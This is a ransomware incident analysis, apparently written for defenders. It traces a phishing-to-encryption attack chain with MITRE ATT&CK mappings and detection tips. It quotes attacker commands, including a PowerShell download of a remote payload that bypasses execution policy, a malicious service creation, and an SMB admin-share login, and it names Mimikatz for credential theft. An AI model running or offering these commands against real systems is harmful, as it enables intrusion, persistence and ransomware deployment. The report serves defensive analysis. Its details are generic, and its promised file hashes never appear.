Sarah Chen — Malware Reverse Engineer
Key Takeaways
- This ransomware employs a sophisticated multi-stage attack chain, leveraging phishing for initial access.
- Our investigation revealed extensive use of living-off-the-land tactics for persistence and lateral movement.
- Indicators of Compromise (IOCs) associated with the ransomware include specific file hashes and domain names utilized for C2 communications.
Executive Summary
During our in-depth analysis of a recent ransomware attack, we observed a well-orchestrated attack chain that featured advanced techniques for persistence, credential harvesting, and lateral movement. The actor’s primary objective appeared to be maximizing the disruption of the target organization’s operations, while simultaneously extracting sensitive data to leverage against the victims. The ransomware payload was carefully crafted to evade detection while maintaining the capability to encrypt files across the network. We have compiled critical insights from our investigation, intending to equip SOC analysts, incident responders, and threat hunters with actionable intelligence.
Initial Access
The initial access vector for this attack was identified as a phishing email campaign targeting employees of the organization. The emails contained a malicious attachment in the form of a seemingly innocuous PDF file. Upon opening the document, a malicious macro was triggered which executed a PowerShell command to download the initial stage of the malware from a remote server. The PowerShell command executed was as follows: powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri http://maliciousdomain[.]com/payload.exe -OutFile C:\Users\%username%\AppData\Local\Temp\temp.exe". This technique leverages T1203 – Exploitation for Client Execution, gaining foothold in the environment.
Execution & Persistence
Once the initial payload was executed, we observed that the actor utilized T1059.001 – PowerShell to execute additional payloads and establish persistence. The sample we examined subsequently installed a malicious service configured to restart the encryption routine after a reboot. Our analysis revealed that the service was created using the command: sc create MyRansomService binPath= "C:\Users\%username%\AppData\Local\Temp\temp.exe". Additionally, the malware modified registry values to ensure that it executed every time the user logged in, specifically targeting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\.
Command and Control
Command and control was established through a series of DNS-over-HTTPS requests to evade traditional detection mechanisms. We identified several domains used for communication, such as c2server[.]com and backup[.]c2domain[.]net. The traffic pattern indicated periodic beacons every minute that transmitted system information back to the C2 infrastructure. During our analysis, we noted that the ransomware variant used asymmetric encryption for the files it targeted, eventually leading to ransom notes that were dynamically generated based on the victim’s data. This behavior leverages T1071.001 – Application Layer Protocol: Web Protocols, making detection more difficult.
Lateral Movement & Discovery
The attacker exhibited a clear focus on lateral movement post-exploitation. We observed that they employed T1021.002 – SMB/Windows Admin Shares to enumerate shares and subsequently transfer the ransomware across the network. Tools like Mimikatz were used to extract credentials from memory which facilitated access to higher privileged accounts and other critical systems within the network. Our investigation revealed a cmd.exe session that ran the command: net use \\targetsystem\C$ /user:admin password, demonstrating the actor’s attempt at lateral movement throughout the environment.
Impact & Objectives
The primary impact of this attack was the encryption of critical files across various departments, effectively halting operations and leading to significant downtime. Additionally, the actor exfiltrated sensitive documents, demonstrating dual objectives: disruption of services along with potential data leaks. The ransom note left on infected systems demanded a sum of BTC, threatening the leakage of stolen data to public forums if the ransom was not paid. This aligns with tactics described in T1486 – Data Encrypted for Impact, emphasizing both data ransom and disclosure as a means of coercion.
MITRE ATT&CK Mapping
- T1203 – Exploitation for Client Execution: Malicious PDF with embedded macros triggered upon opening.
- T1059.001 – PowerShell: Use of PowerShell to execute further malicious commands.
- T1071.001 – Application Layer Protocol: Web Protocols: C2 communication using DNS-over-HTTPS.
- T1021.002 – SMB/Windows Admin Shares: Lateral movement leveraging Windows shares.
- T1486 – Data Encrypted for Impact: Ransomware encryption of targeted files.
Detection Opportunities
- Monitor PowerShell logs for suspicious commands, especially those involving external downloads.
- Implement alerts for changes to registry keys in
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\. - Utilize EDR solutions to track discernible patterns of lateral movement and abnormal SMB traffic.
Analyst Notes
This attack highlights the imperative need for user awareness training, particularly on the risks associated with phishing campaigns. Furthermore, organizations should prioritize endpoint detection and response capabilities that can correlate behaviors indicative of lateral movement and unusual persistence mechanisms. Regular audits of network traffic and the exposure of services can assist in mitigating the risk of similar attacks.
Source: Original Report